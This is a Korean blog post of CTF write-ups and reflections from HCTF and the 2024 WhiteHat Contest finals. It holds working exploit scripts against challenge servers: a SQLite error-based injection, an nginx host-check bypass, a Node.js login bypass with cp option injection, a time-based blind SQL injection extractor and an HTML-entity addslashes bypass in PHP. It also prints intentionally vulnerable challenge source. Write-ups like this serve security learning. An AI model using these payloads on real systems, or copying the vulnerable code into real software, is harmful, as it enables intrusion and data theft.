일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 시스템프로그래밍
- 운영체제
- Linux
- sqli
- 시스템
- Los
- SQLInjection
- 프로세스
- SQL
- XSS
- webhacking.kr
- Writeup
- 웹해킹
- 상호배제
- SQL Injection
- 알고리즘
- rubiya
- Python
- ubuntu
- hacking
- crosssitescripting
- web
- CODEGATE
- 화이트햇콘테스트
- webhackingkr
- lordofsqlinjection
- CCE
- WebHacking
- 해킹
- ctf
- Today
- Total
One_Blog
2024 WhiteHatContest Final web Writeups + HCTF web Writeups + 후기 본문
최근에 회사를 다니면서 HCTF, 화이트햇 콘테스트 등 CTF를 했고,
결과적으로 HCTF 1위, 화햇콘 3위를 기록했다.
화햇콘도 CCE처럼 하나만 더 풀면 1등인데 또 3등이다.
좀 빡치지만 내가 웹 못풀어서 할말이 없다 ㅠㅠㅠ
아이고 ㅠㅠ
그래서 WACON 2024 열리면 1등 노려볼려고 했는데, 이건 안열려서
내 청소년으로서의 마지막 씨텦은 화이트햇콘테스트로 막을 내리게 되었다.
그나마 다행인 것은
드림핵 웹 해킹 랭킹 1위를 찍은 것이다.
물론 내가 내 아래있는 사람들보다 웹 해킹을 잘하는 건 절대 아니고,
그냥 투자할 시간이 많아서 찍은 랭크이다.
아래 계신 분들이 시간만 투자하면.. 나는 10등 아래로도 밀려날 수 있을 것 같다.
각설하고, 이제 라업이랑 후기를 적어보겠다.
HCTF
생각보다 문제 난이도가 높아서 재밌었던 CTF 였다.
한양대학교에서 개최된 CTF인데, 시상식에서 한양대 머그컵이랑 상장, 각종 굿즈와 상금을 받을 수 있었다.
웹은 총 3문제가 나왔고,
2문제는 풀었고 마지막 문제는 Blind SQLI 류 문제라서 플래그 뽑다가 대회가 끝나버렸다.
Newbie라는 카테고리에도 웹 2문제 나왔는데 너무 쉬워서 안쓰겠다.(기본 Blind SQLi, Param조작)
이제 라업을 작성해보겠다.
Web - fly me to the moon
블랙박스 문제인데, sqlite Injection 문제였다.
블랙박스라서 소스코드는 없고, PoC만 있다.
" or json_extract('{"name": "John", "age": 30}', sqlite_version()) -- -
쿼리문이 실행되는 곳에 "를 넣어서 에러를 유도할 수 있었고, 플라스크 서버가 디버깅 모드로 실행 중이어서 에러가 발생하면
관련 정보가 모두 로깅되는 상황이었다.
이때 PoC와 같이 json_extract함수를 악용하여 에러 로그에 원하는 값이 나오도록 유도할 수 있었고,
이를 악용하여 플래그를 leak할 수 있었다.
추가로 필터링 있었는데 대소문자 바꿔서 우회 가능했다.
flag : HCTF{https://youtu.be/KvMY1uzSC1E}
gg
Simple-Archive-for-user
Nginx가 존재하고, 서버는 node JS로 동작하는 서비스였다.
문제는 Nginx에 말도 안되는 방화벽 설정이 있었는데..
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http{
server {
listen 80 default_server;
return 404;
}
server {
server_name *.node;
if ($http_host != "wafzz") {
return 403;
}
location ~ {
proxy_pass http://node-app:3001;
}
}
}
JS 서버로 요청을 보내고 싶지만 Nginx가 *.node로 끝나는 도메인 요청만 처리 중이었고,
그와 동시에 http_host는 "wafzz" 라는 값을 가지고 있어야 했다.
HTTP 헤더 host에 wafzz라는 값을 설정해주면 http_host 확인 로직은 쉽게 우회할 수 있었지만,
문제는 server_name *.node 였다.
이를 우회하기 위해선 Nginx 특이한 처리 방식을 이용할 수 있었는데,
위 글에서 보는 바와 같이 HTTP Raw Packet의 PATH에 http://HOST:port/Path를 포함시켜주면
Nginx에서 server_name 값으로 해당 Path를 가져오도록 처리하고 있었다.
따라서 Python Socket Library를 이용하여 Path를 http://a.node/... 와 같은식으로
조작하여 원하는 요청을 보낼 수 있는 PoC를 설계했고, 결과적으로 내부 JS 서버에 접근하는데에 성공했다.
이후엔
const express = require('express');
const cp = require('child_process');
const crypto = require('crypto');
const db = require('./config/db');
const fileUpload = require('express-fileupload');
const session = require('express-session')
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3001;
app.use(express.json());
app.use(session({
secret: crypto.randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: true
}));
app.use(fileUpload());
const isValidUsername = (username) => /^[a-zA-Z0-9]+$/.test(username);
app.post('/register', async (req, res) => {
const { username, password } = req.body;
if(!isValidUsername(username) || !username || !password){
return res.status(403).json({ message: 'Invalid data' });
}
try {
db.query(
'INSERT INTO users (username, password) VALUES (?, ?)',
[username, password],
(err, results) => {
if (err) {
console.error('Error inserting user:', err);
return res.status(500).json({ message: 'User registration failed' });
}
res.status(201).json({ message: 'User registered successfully' });
}
);
} catch (error) {
res.status(500).json({ message: 'Error during registration' });
}
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
if(!isValidUsername(username) || !username || !password){
return res.status(403).json({ message: 'Invalid data' });
}
db.query(
'SELECT username FROM users WHERE username = ? AND password = ?',
[username, password],
async (err, results) => {
if (err) {
console.error('Error retrieving user:', err);
return res.status(500).json({ message: 'Login failed' });
}
if (results.length === 0) {
return res.status(400).json({ message: 'Invalid username or password' });
}
req.session.username = results[0].username;
return res.json({message: 'Login successful'})
}
);
});
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) {
return res.status(500).send('Error logging out');
}
res.status(200).send('Logged out');
});
});
app.post('/upload', (req, res) => {
if(!req.session.username){
return res.status(403).send('Not logged in');
}
if(!req.session.dir){
req.session.dir = `./uploads/${crypto.randomBytes(8).toString('hex')}_${req.session.username}`
fs.mkdirSync(req.session.dir, { recursive: true }); // username으로 개짓거리 어려움
}
file = req.files.file;
hash = crypto.createHash('sha256').update(crypto.randomBytes(32).toString('hex') + file.name).digest('hex');
fileExtension = path.extname(file.name);
newFileName = `${hash}${fileExtension}`;
filePath = path.join(req.session.dir, newFileName);
file.mv(filePath, (err) => {
if (err) {
return res.status(500).send('Error saving file');
}
res.status(200).send(`File uploaded`);
});
});
app.post('/file', (req, res) => {
if(!req.session.dir || !req.session.username){
return res.json({ message: "plz login"});
}
try {
const data = fs.readFileSync(`${req.session.dir}/${path.basename(req.body.filename)}`);
return res.status(200).json({ message: data.toString('utf-8')})
} catch (err) {
return res.status(500).send('Error reading file');
}
});
app.post('/dir', (req, res) => {
if(!req.session.dir || !req.session.username){
return res.status(403).json({ message: "plz login"});
}
return res.status(200).json({ message: fs.readdirSync(req.session.dir)});
});
app.post('/admin', (req, res) => {
options = req.body.options;
if(req.session.username != "admin"){
return res.status(403).json({ message: "Only admin"});
}
if(options){
options = ['-r', './uploads'].concat(options).concat('/tmp')
}
else{
options = ['-r', './uploads', '-S', '.bak', '/tmp'];
}
cp.execFile('/bin/cp', options , (error, stdout, stderr) => {
if(error){
return res.send(stderr);
}
return res.send(stdout);
});
});
app.listen(port, () => {
console.log(`Server running on http://localhost:${port}`);
});
위 서버에서 취약점을 찾아야 했다.
일단 뭔가 기능을 쓸려면 admin 계정을 따야 했는데,
Prepared Statement 기법을 사용하고 있었으나 Object 인자 값도 처리하고 있었기 때문에
https://ian.nl/blog/nodejs-prepstmnt-bypass-to-rce
해당 기법을 악용하여 쉽게 SQLI를 발생시킬 수 있었다.
이후엔 간단했는데,
/admin 기능 이용 시 cp 명령어에 Command Option Injection이 가능했고,
-v 옵션을 삽입하여 디렉토리 앞에 붙는 해쉬 값을 알아냈다.
그리고 나서 cp 옵션을 잘 악용하여 읽을 수 있는 디렉토리에 flag.txt를 복사했고,
마지막엔 /file 엔드포인트를 통해 flag를 읽어낼 수 있었다.
아래는 익스코드이다.
import socket
def login():
host = "prob.hspace.io"
port = 30009
json_data = '{"username":"admin","password":{"password":1}}'
content_length = len(json_data)
request = (
"POST http://a.node/login HTTP/1.1\r\n"
f"Host: wafzz\r\n"
"Content-Type: application/json\r\n"
f"Content-Length: {content_length}\r\n"
"\r\n"
f"{json_data}"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.connect((host, port))
print("Sending POST request...")
client_socket.sendall(request.encode())
# 응답 수신
response = client_socket.recv(4096)
print("Response:")
print(response.decode())
def upload_file():
host = "prob.hspace.io"
port = 30009
file_path = "./tmp.txt"
with open(file_path, "r") as file:
file_content = file.read()
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
form_data = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"tmp.txt\"\r\n"
f"Content-Type: text/plain\r\n"
f"\r\n"
f"{file_content}\r\n"
f"--{boundary}--\r\n"
)
content_length = len(form_data)
request = (
"POST http://a.node/upload HTTP/1.1\r\n"
f"Host: wafzz\r\n"
"Content-Type: multipart/form-data; boundary=" + boundary + "\r\n"
f"Content-Length: {content_length}\r\n"
"Cookie: connect.sid=s%3A84m1ForvkUOs3AVdN4itr_oR4tDNoAtO.OB1cqP%2Bdz29JiNj1LrZwfSL5an1UiKFxOxrlYegQZhA\r\n"
"\r\n"
f"{form_data}"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.connect((host, port))
print("Sending POST request...")
client_socket.sendall(request.encode())
# 응답 수신
response = client_socket.recv(4096)
print("Response:")
print(response.decode())
def admin():
host = "prob.hspace.io"
port = 30009
json_data = '{"options":["-v"]}'
# json_data = '{"options":["/flag.txt", "-t", "./uploads/31e1fbbf7f1ee7e5_admin/", "--suffix"]}'
content_length = len(json_data)
request = (
"POST http://a.node/file HTTP/1.1\r\n"
f"Host: wafzz\r\n"
"Content-Type: application/json\r\n"
f"Content-Length: {content_length}\r\n"
"Cookie: connect.sid=s%3A84m1ForvkUOs3AVdN4itr_oR4tDNoAtO.OB1cqP%2Bdz29JiNj1LrZwfSL5an1UiKFxOxrlYegQZhA\r\n"
"\r\n"
f"{json_data}"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.connect((host, port))
print("Sending POST request...")
client_socket.sendall(request.encode())
# 응답 수신
response = client_socket.recv(4096)
print("Response:")
print(response.decode())
def flag():
host = "prob.hspace.io"
port = 30009
json_data = '{"filename":"flag.txt"}'
content_length = len(json_data)
request = (
"POST http://a.node/file HTTP/1.1\r\n"
f"Host: wafzz\r\n"
"Content-Type: application/json\r\n"
f"Content-Length: {content_length}\r\n"
"Cookie: connect.sid=s%3A84m1ForvkUOs3AVdN4itr_oR4tDNoAtO.OB1cqP%2Bdz29JiNj1LrZwfSL5an1UiKFxOxrlYegQZhA\r\n"
"\r\n"
f"{json_data}"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.connect((host, port))
print("Sending POST request...")
client_socket.sendall(request.encode())
# 응답 수신
response = client_socket.recv(4096)
print("Response:")
print(response.decode())
# login()
# upload_file()
# admin()
# flag()
# HCTF{8f092731730202009e896c923dec39cf}
print("HCTF{8f092731730202009e896c923dec39cf}")
Flag : HCTF{8f092731730202009e896c923dec39cf}
GG.
Fundamental For User
//index.php
<?php
include 'config.php';
include 'lib/func.php';
$mode = $_GET['mode'];
switch ($mode) {
case "register":
if(!Func::check_pair($_POST['username'], $_POST['password'])) exit("Check parameters");
$user = addslashes($_POST['username']);
$pw = md5($_POST['password']);
$check = $handler->query("select username from users where username='{$user}'"); // username 있는지 체크
if($check->fetch_object()) exit("Username already taken");
$handler->query("insert into users (username, password) values ('{$user}', '{$pw}')"); // 바로 INSERT
$check = $handler->query("select username from users where username='{$user}'"); // 다시 조회
if($check->fetch_object()) die("register done!"); // 결과 있으면 회원가입 성공
else die("Something went wrong, contact admin...");
break;
case "login":
if(!Func::check_pair($_POST['username'], $_POST['password'])) exit("Check parameters");
$user = addslashes($_POST['username']);
$pw = md5($_POST['password']);
$check = $handler->query("select * from users where username='{$user}' and password='{$pw}'"); // user랑 pwfh whghl
$obj = $check->fetch_object();
if($obj) {
Session::set_sess("user_idx", $obj->idx); // 결과 있으면 idx값으로 set_sess
die("Login Succeed");
} else {
die("Login failed");
}
}
echo "Welcome!";
if($INFO["username"]) { // config.php에서 username 생겼음.
Session::set_sess($key, $INFO["username"]); // key는 password
echo " {$INFO['username']} :)"; // 여기선 read
}
?>
// config.php
<?php
include 'classes/class.sessionHandler.php';
include 'classes/class.session.php';
$handler = new SessHandler('mysql', 'root', getenv("MYSQL_PASSWORD"), 'fundamental');
session_set_save_handler(array($handler, 'open'), array($handler, 'close'), array($handler, 'read'), array($handler, 'write'), array($handler, 'destroy'), array($handler, 'gc'));
session_start(); // session 시작
// open 시 return true
// close 시 return true
// read , 세션 데이터 요청 시 호출, sessionID기준 읽어서 데이터 반환 read 로직 분석
// write, 세션 데이터 저장 시 호출,
// destory, sessionID 기반 delete
// gc, 만료 시간 지난거 delete
define('IS_MEMBER', Session::is_sess('user_idx')); // 로그인 하면 생김, true or False
define('IDX', (IS_MEMBER) ? Session::sess('user_idx') : null); // $_SESSION[$name], 이전에 설정된 $obj->idx
$INFO = array();
if (IS_MEMBER) { // 로그인하면 쿼리 실행
$result = $handler->query(
"
select *
from users
where `idx`=".IDX."
"// 그거 기반으로 유저 정보 가져와서
);
$info_arr = $result->fetch_object();
foreach ($info_arr as $key => $value) {
$INFO[$key] = $value; // INFO에 key : value로 설정
}
} else {
$INFO = array(
'username' => NULL
);
}
?>
// lib/func.php
<?php
class Func {
static public function check_pair($username, $password) {
$username = trim($username);
$password = trim($password);
if(strlen($username) === 0) return False;
if(strlen($password) === 0) return False;
return True;
}
}
이 문제는 거의 리버싱을 하는 기분이었다.
PHP 세션을 자체적으로 클래스로 구현하여 놨었는데, 취약점부터 말하자면
PHP Session Handler에서 Session Value에 write 작업을 할 때
add_slash와 같은 sanitize 과정이 존재하지 않아 SQLi 취약점이 발생했다.
// classes/class.sessionHandler.php
<?php
class SessHandler extends mysqli {
private $value;
private $sess_life = 3600;
private $expiry;
private $mysqli;
static public $dbinfo = array();
public function __construct($host, $user, $pass, $db) {
parent::__construct($host, $user, $pass, $db);
}
public function open()
{
return true;
}
public function close()
{
return true;
}
public function read($key)
{
$result = $this->query(
"
select * from sessions where `sesskey`='".addslashes($key)."' and `expiry`>".time()
); // SESSIONID로 세션 있는 지 확인해서
$this->specialchars = 0;
$this->nl2br = 0;
$obj = $result->fetch_object();
if ($obj) {
return $obj->value; // 결과 있으면 결과 반환
} else {
$this->expiry = time() + $this->sess_life; // 만료 시간을 1시간으로 설정
$result = $this->query(
"
insert into sessions (`sesskey`, `expiry`, `value`, `user_idx`, `regdate`) VALUES ('".addslashes($key)."', '".$this->expiry."', 0, 0, now())
" // sesskey에는 현재 세션키, expiry에는 현재 시간에 + 1시간, value 0, user_idx 0, regdate는 now()
);
$ret = $this->query(
"
select * from sessions where `sesskey`='".addslashes($key)."'
" // sesskey 기반 정보 조회 이후 정보 반환
);
return $ret->fetch_object()->value;
}
return true;
}
public function write($key, $val)
{
$this->value = $val; // value는 val
$this->expiry = time() + $this->sess_life; // 만료 시간 + 1시간
if (isset(self::$dbinfo['user_idx'])) { // user_idx가 dbinfo 배열에 있으면 (로그인했으면)
$this->query( // 만료시간 업데이트, value도 현재 value로 업데이트, user_idx도 dbinfo 있는걸로 업데이트
"update sessions set `expiry`='".$this->expiry."', `value`='".$this->value."', `regdate`=now(), `user_idx`=".self::$dbinfo['user_idx']." where `sesskey`='".addslashes($key)."' and `expiry`>".time()
); // user_idx에 매핑된걸로 update가 있긴 함
} else {
$this->query( // 설정 안되어있으면 없으면 user_idx 빼고 업데이트
"update sessions set `expiry`='".$this->expiry."', `value`='".$this->value."', `regdate`=now() where `sesskey`=".addslashes($key)." and `expiry`>".time()
);
}
return true;
}
public function destroy($key)
{
$this->query(
"
delete from sessions where `sesskey`='".addslashes($key)."'
"
);
return true;
}
public function gc(){
$this->query(
"delete from sessions where `expiry`<".time()
);
return true;
}
}
// classes/class.session.php
<?php
class Session {
static function set_sess($name, $val)
{
if ($name == 'user_idx') SessHandler::$dbinfo['user_idx'] = $val; // [user_idx]를 $val로 설정 $obj->idx
$_SESSION[$name] = $val; // $SESSION[user_idx]를$obj->idx // 여기서 write발생
//password 받으면 $_SESSION[password] = username이 됨
}
static function empty_sess($name)
{
global $_SESSION;
if ($name == 'user_idx') SessHandler::$dbinfo['user_idx'] = 0;
unset($_SESSION[$name]);
}
static function drop_sess()
{
session_destroy();
}
static function sess($name)
{
return (isset($_SESSION[$name])) ? $_SESSION[$name] : null;
}
static function is_sess($name)
{
return (isset($_SESSION[$name])) ? true : false; // read 발생
}
}
?>
public function write($key, $val)
{
$this->value = $val; // value는 val
$this->expiry = time() + $this->sess_life; // 만료 시간 + 1시간
if (isset(self::$dbinfo['user_idx'])) { // user_idx가 dbinfo 배열에 있으면 (로그인했으면)
$this->query( // 만료시간 업데이트, value도 현재 value로 업데이트, user_idx도 dbinfo 있는걸로 업데이트
"update sessions set `expiry`='".$this->expiry."', `value`='".$this->value."', `regdate`=now(), `user_idx`=".self::$dbinfo['user_idx']." where `sesskey`='".addslashes($key)."' and `expiry`>".time()
); // user_idx에 매핑된걸로 update가 있긴 함
} else {
$this->query( // 설정 안되어있으면 없으면 user_idx 빼고 업데이트
"update sessions set `expiry`='".$this->expiry."', `value`='".$this->value."', `regdate`=now() where `sesskey`=".addslashes($key)." and `expiry`>".time()
);
}
return true;
}
해당 함수에서 취약점이 발생하고 있었다.
SQL Query문에 삽입 되는 값 중에 value에 대한 sanitize, 검증 자체가 존재하지 않는 걸 볼 수 있다.
말만 들으면 쉬워 보이는데 이거 전체 로직 이해하고 sanitize 안되는 값 찾아서 삽입 하는 방법 찾는 과정이
좀 어려웠다.
취약점을 찾고 다음 과정부턴 간단했다.
blind sqli 페이로드를 username으로 해서 회원 가입을 한 후, login할 때
username이 session Class에 write 되는 과정을 통해 sqli가 가능했는데...
문제는 서버가 느려서 플래그 뽑을 시간이 부족했다.
30분만 더 있었어도 플래그 뽑고 솔브 했는데, 시간이 없어서 결국 PoC만 짜고 끝났다.
아래는 최종 페이로드이다.
import requests
import time
charset = "!{}F@1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"
flag = " HCTF{c7b9557E411fb811fef83807639b774"
url = "http://prob.hspace.io:30008"
def regis_login(sp,payload):
url = "http://prob.hspace.io:30008/"
url1 = url + "?mode=register"
response = sp.post(url1, data=payload)
url2 = url + "?mode=login"
response = sp.post(url2, data=payload)
while True:
url = "http://prob.hspace.io:30008/"
for j in range(33,129):
if j == 95:
j += 1
sp = requests.Session()
payload = {
"username":f"supadopa', ip=if(ascii(substr((select password from users where username='admin'), {len(flag) + 1}, 1))={j}, sleep(3), 0) LIMIT 1 -- ",
"password":"supadopa"
}
regis_login(sp,payload)
start = time.time()
response = sp.post(url, data=payload)
end = time.time()
if end - start > 2:
flag += chr(j)
print("flag is ",flag)
if chr(j) == "}":
exit(0)
break
else:
print(chr(j) ,"is not")
\
# supadopa', ip = if(ascii(substr((select password from users where username='admin'), 1, 1))=72, Sleep(3), 0) --
# select ascii(substr((select password from users where username='admin' limit 1,1), 1, 1))
이는 추출한 Flag이다.
GG.
HCTF 후기
생각보다 문제 난이도 높아서 재미있었고
시상식도 직접 한양대학교가서 했는데, 명문대를 내 발로 당당하게 들어가보는 게 더 재미있었다.
한양대도 해킹 특기자 추가해주면 좋겠다.
gg
White Hat Contest Final
1번은 그냥 파라미터 조작 문제여서 안 쓸거고,
2번은 웹 아니고 모바일 분석 + 암호학이었다.
내가 푼 게 아니라서 이것도 스킵하겠다..
모바일 분석하고 개인 서버로 dtd 반환하게 잘 세팅해서
XXE 하는 문제였다고 한다.
cmsaudit
이것도 하아...
HCTF 마지막 문제랑 비슷한 느낌이었다.
취약점 섞은 거만 보면, SQLI -> File Path 변조 -> PHP 7.4 Phar Deserialization 이었다.
아니 근데 PHP 7.4 Phar Deserialization 이거 계속 나온다...
농담이 아니고 이번년도 씨텦에서 몇번을 본건지 모르겠다.
아무튼 취약점을 설명하자면,
<?php
if( is_array($_GET) ) {
foreach($_GET as $k => $v) {
if( is_array($_GET[$k]) ) {
foreach($_GET[$k] as $k2 => $v2) {
$_GET[$k][$k2] = addslashes($v2);
}
} else {
$_GET[$k] = addslashes($v);
}
}
}
if( is_array($_POST) ) {
foreach($_POST as $k => $v) {
if( is_array($_POST[$k]) ) {
foreach($_POST[$k] as $k2 => $v2) {
$_POST[$k][$k2] = addslashes($v2);
}
} else {
$_POST[$k] = addslashes($v);
}
}
}
if( is_array($_COOKIE) ) {
foreach($_COOKIE as $k => $v) {
if( is_array($_COOKIE[$k]) ) {
foreach($_COOKIE[$k] as $k2 => $v2) {
$_COOKIE[$k][$k2] = addslashes($v2);
}
} else {
$_COOKIE[$k] = addslashes($v);
}
}
}
// if (is_array($_FILES)) {
// foreach ($_FILES as $k => $v) {
// // 파일 이름만 필터링
// if(is_array($_FILES)){
// foreach($_FILES[$k] as $k2 => $v2){
// // $_FILES[$k][$k2]=addslashes($v2);
// var_dump($v2);
// }
// }else{
// // $_FILES[$k][$k2]=addslashes($v);
// var_dump($v);
// }
// }
// }
// if (is_array($_FILES)) {
// foreach ($_FILES as $k => $v) {
// if (is_array($v)) {
// foreach ($v as $k2 => $v2) {
// // 모든 필드에 대해 필터링
// // $_FILES[$k][$k2] = addslashes($v2);
// var_dump($v2);
// }
// }
// }
// }
function xssfilter($data){
if(empty($data))
return $data;
if(is_array($data)){
foreach($data as $key => $value){
$data[$key] =xssfilter($value);
}
return $data;
}
$data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data);
$data = preg_replace('/(&#*\w+)[\x00-\x20]+;/', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/i', '$1;', $data);
if (function_exists("html_entity_decode")){
$data = html_entity_decode($data);
}else{
$trans_tbl = get_html_translation_table(HTML_ENTITIES);
$trans_tbl = array_flip($trans_tbl);
$data = strtr($data, $trans_tbl);
}
$data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#i', '$1>', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#i', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#i', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#', '$1=$2nomozbinding...', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#i', '$1>', $data);
$data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data);
do{
$old_data = $data;
$data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
}
while ($old_data !== $data);
return $data;
}
function strandint($input){
return preg_replace('/[^a-zA-Z0-9]/', '', $input);
}
// php -r "echo is_array(['key' => 'value']);"
function intandint($input) {
return preg_replace('/[^0-9]/', '', $input);
}
if(isset($_POST['user'])){
$_POST['user']=strandint($_POST['user']);
}
if(isset($_POST['pass'])){
$_POST['pass']=strandint($_POST['pass']);
}
if(isset($_POST['idx'])){
$_POST['idx']=intandint($_POST['idx']);
}
if(isset($_GET['user'])){
$_GET['user']=strandint($_GET['user']);
}
if(isset($_GET['idx'])){
$_GET['idx']=intandint($_GET['idx']);
}
// 아래로는 보드 관련
if(isset($_GET['bname'])){
$_GET['bname']=xssfilter($_GET['bname']);
}
if(isset($_POST['bname'])){
$_POST['bname']=xssfilter($_POST['bname']);
}
if(isset($_POST['toname'])){
$_POST['toname']=xssfilter($_POST['toname']);
}
if(isset($_GET['toname'])){
$_GET['toname']=xssfilter($_GET['toname']);
}
?>
전역적으로 이와 같은 필터링이 걸려있었다.
우리가 최종적으로 조작해야 하는 filepath가 유저 테이블 쪽에 있어서 처음에는
전역적으로 설정된
if( is_array($_POST) ) {
foreach($_POST as $k => $v) {
if( is_array($_POST[$k]) ) {
foreach($_POST[$k] as $k2 => $v2) {
$_POST[$k][$k2] = addslashes($v2);
}
} else {
$_POST[$k] = addslashes($v);
}
}
}
해당 필터링을 우회하기 위해 상당히 많은 시간을 소요했다.
POST DATA의 다양한 양식, PHP $_POST에서 받는 데이터, 뭐 PHP 내부 모듈까지 뜯어보면서
우회할 방법이 있나 확인했는데, 결론은 우회 불가능이었다.
(혹시 우회 하는 법 아시는 분 디코 one3147로 알려주시면 밥 사드리겠습니다.)
아무튼 저기서는 sqli가 불가능했고,
sqli가 터지는 부분은 xssfilter 함수였다.
해당 함수에서 html_entity_decode를 쓰고 있었기에, 해당 필터링에 걸리는 값들을 대상으로
html로 인코딩된 특수문자를 삽입하여 sqli가 가능했다.
문제는 '에 매핑되는 html entity값이 없는 게 문제였는데, 나 같은 경우 html entity로 encode된 \와 '를 결합하여
sqli를 트리거 했다.
\\' SQLI Code ...
이러면 ' 값 앞에 \가 있기 때문에 add_slash 검증을 통과할 수 있고, 이후
\ 값이 html entity decode를 통해 \로 변경되기 때문에 결과적으로
\\' 가 되고 뒤에 마음대로 SQL 구문을 집어넣을 수 있었다.
문제는 이걸 트리거 하기 위한 조건이 겁나게 복잡했다.
<?php
require_once 'common.php';
if (!isset($_SESSION['status']) || !$_SESSION['status']) {
location("login.php");
exit();
}
global $dbcon ;
$owneridx=$_SESSION['idx'];
$role=$_SESSION['role'];
$idx=$_POST['idx'];
$bname=$_POST['bname'];
$toname=$_POST['toname'];
// captcha
// if (!($_POST['captcha_input'] === $_SESSION['captcha'])) {
// location("/board/create.php");
// exit;
// }
// echo("test");
// die;
$orgtb=selectBoardListOne($dbcon,$bname); // 여기 bname에선 정상적인 테이블 리턴
if(empty($orgtb)){
$res=[
"status"=>false,
"msg"=>"존재 하지 않는 게시판 입니다!"
// "location"=>"/board/list.php?bname={$row1['bname']}"
];
resJson($res);
exit();
}
if($role<$orgtb['role']){
$res=[
"status"=>false,
"msg"=>"게시물을 작성할 권한이 없습니다!!"
// "location"=>"/board/list.php?bname={$row1['bname']}"
];
resJson($res);
exit();
}
// SELECT CASE WHEN RAND() < 0.5 THEN '#' ELSE '' END AS result;
$orgboard=selectBoardOne($dbcon,$orgtb['bname'],$idx); // 보드 찾은걸로
$title=isset($_POST['title']) ? $_POST['title']: $orgboard['title'];
$content=isset($_POST['content']) ? $_POST['content']: $orgboard['content']; // 아 여기서 sqli해서 원하는 bname 리턴...
$tb=$orgtb['bname'];
if(($orgtb['bname'] === $toname)){
// INSERT에서 삽입된 bname 기반, "UPDATE $TPREFIX$bname SET title='$title', content='$content' WHERE owner='$owneridx' AND idx='$idx'";
// UPDATE boardlist JOIN uesrs SET ON 1=1 users.filepath='phar:///' where username='supadopa';
$row2=updateBoard($dbcon,$orgtb['bname'],$owneridx,$idx,$title,$content);
// orgtb bname에서 쿼리를 가져와야 함, $orgtb['bname'] = list JOIN users ON boardlist.count=users.idx
$row2=$idx;
}else{
$totb=selectBoardListOne($dbcon,$toname); // 여기선 toname으로 찾고
$row2=insertBoard($dbcon,$totb['bname'],$title,$content,$owneridx); // 발견된걸로 아래서도 탐색
$row3=deleteBoard($dbcon,$orgtb['bname'],$owneridx,$idx);
if($row2){
$idx=$row2;
$tb=$totb['bname'];
}
}
if($row2){
$res=["status"=>true,"idx"=>$idx,"bname"=>$tb];
}
$dbcon->close();
resJson($res);
exit();
?>
<?php
$TPREFIX="board";
$LIST="list";
function selectBoardList($con){
global $TPREFIX,$LIST;
$sql="SELECT * FROM $TPREFIX$LIST";
return $con->fetchAll($sql);
}
function selectBoardListOne($con,$bname){
global $TPREFIX,$LIST;
$sql="SELECT * FROM $TPREFIX$LIST WHERE bname='$bname'";
return $con->fetchOne($sql);
}
function insertBoard($con,$bname,$title,$content,$owneridx){ // bname 마음대로 줄 수 없음, 그게 가능할려면 위에서 sqli가 가능해야 함.
global $TPREFIX,$list;
$sql = "INSERT INTO $TPREFIX$bname (title, content, owner) VALUES ('$title', '$content','$owneridx')"; // 여기선 sql injection 가능, INSERT
$ret=$con->query($sql);
$sql="UPDATE $TPREFIX$LIST SET count =count +1 WHERE bname='$bname'";
return $ret;
}
# select * from boardlist where bname='' union select 4,"list JOIN users ON boardlist.count=users.idx SET users.filepath=\"phar:///\"",1,2;
# INSERT INTO board "list (bname,role,count) VALUES(\"list JOIN users ON boardlist.count=users.idx SET users.filepath=\'phar:///\'; -- \",1,0); -- "
# \ "
function selectBoardOne($con,$bname,$idx){
global $TPREFIX;
$sql = "SELECT * FROM $TPREFIX$bname WHERE idx='$idx'"; // 이거
return $con->fetchOne($sql);
